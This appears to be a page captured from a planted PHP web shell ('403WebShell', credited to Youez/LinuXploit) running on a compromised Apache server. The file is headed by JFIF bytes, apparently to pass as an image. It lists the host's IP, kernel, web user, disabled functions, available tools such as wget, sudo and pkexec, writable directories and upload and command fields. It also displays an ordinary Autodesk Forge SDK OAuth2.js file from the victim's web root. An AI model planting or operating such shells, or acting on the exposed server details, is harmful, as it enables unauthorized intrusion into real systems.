????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.227.183.215
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/forge/forge-api-nodejs-client/src/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/forge/forge-api-nodejs-client/src/auth/OAuth2.js
/**
 * Forge SDK
 * The Forge Platform contains an expanding collection of web service components that can be used with Autodesk cloud-based products or your own technologies. Take advantage of Autodesk’s expertise in design and engineering.
 *
 * OpenAPI spec version: 0.1.0
 * Contact: forge.help@autodesk.com
 *
 * NOTE: This class is auto generated by the swagger code generator program.
 * https://github.com/swagger-api/swagger-codegen.git
 * Do not edit the class manually.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

module.exports = (function () {
	'use strict';

	var request = require('request');
	var ApiClient = require('../ApiClient').instance;

	/**
	 * Construct the scope string
	 * @param allScopes
	 * @param specificScope
	 * @returns {Boolean}
	 */
	var validateScope = function (allScopes, specificScope) {
		if (allScopes) {
			if (specificScope) {
				for (var key in specificScope) {
					if (!allScopes.hasOwnProperty(specificScope[key])) {
						throw specificScope[key] + " scope is not allowed";
					}
				}
			} else { // throw if scope is null or undefined
				throw "Scope is missing or empty, you must provide a valid scope";
			}
		} else {
			throw "Authentication does not allow any scopes";
		}
		return true;
	};

	/**
	 * A general POST request
	 * @param url
	 * @param params
	 * @param callbackSuccess
	 * @param callbackError
	 */
	var doPostRequest = function (url, params, callbackSuccess, callbackError) {
		var headers = {
			'Content-Type': 'application/x-www-form-urlencoded'
		};

		var paramsBody = [];
		for (var key in params) {
			if (params.hasOwnProperty(key)) {
				paramsBody.push(key + '=' + params[key]);
			}
		}

		request({
			headers: headers,
			uri: url,
			body: paramsBody.join('&'),
			method: 'POST'
		}, function (err, response, body) {
			var resp;
			try {
				resp = JSON.parse(body);
			} catch (e) {
				resp = body;
			}
			if (!err && response.statusCode === 200) {
				callbackSuccess(resp);
			} else {
				if (err) {
					callbackError(err);
				} else {
					callbackError(resp);
				}
			}
		});
	};

	/**
	 * @module auth/OAuth2
	 */

	/**
	 * Trait for creating OAuth2 objects
	 * Constructs a new <code>oAuth2</code>.
	 * @alias module:auth/OAuth2
	 */
	var OAuth2 = function (clientId, clientSecret, scope, autoRefresh, apiClient) {
		ApiClient = apiClient || require('../ApiClient').instance;

		this.clientId = clientId;
		this.clientSecret = clientSecret;
		this.credentials = {};
		this.credentials.expires_at = Date.now();
		this.autoRefresh = autoRefresh || false; // don't auto refresh by default

		//set the base path for the auth endpoints
		this.basePath = ApiClient.basePath;

		// Implement a sort of interface in JS
		if (!this.hasMember('authentication')) {
			throw new Error('Your OAuth2 object is missing the "authentication" property');
		}

		//this.authentications must be implemented in the child Class
		var validScope = validateScope(this.authentication.scopes, scope);

		//Make sure passed scope is valid
		if (validScope) {
			this.scope = scope.join(' ');
		}
	};

	OAuth2.prototype.doPostRequest = doPostRequest;

	// This allows us to create class members that
	// must be present in the child object
	Object.defineProperty(OAuth2.prototype, 'hasMember', {
		enumerable: false,
		value: function (memberName) {
			return (typeof this[memberName] === 'object');
		}
	});

	return OAuth2;

}());

Youez - 2016 - github.com/yon3zu
LinuXploit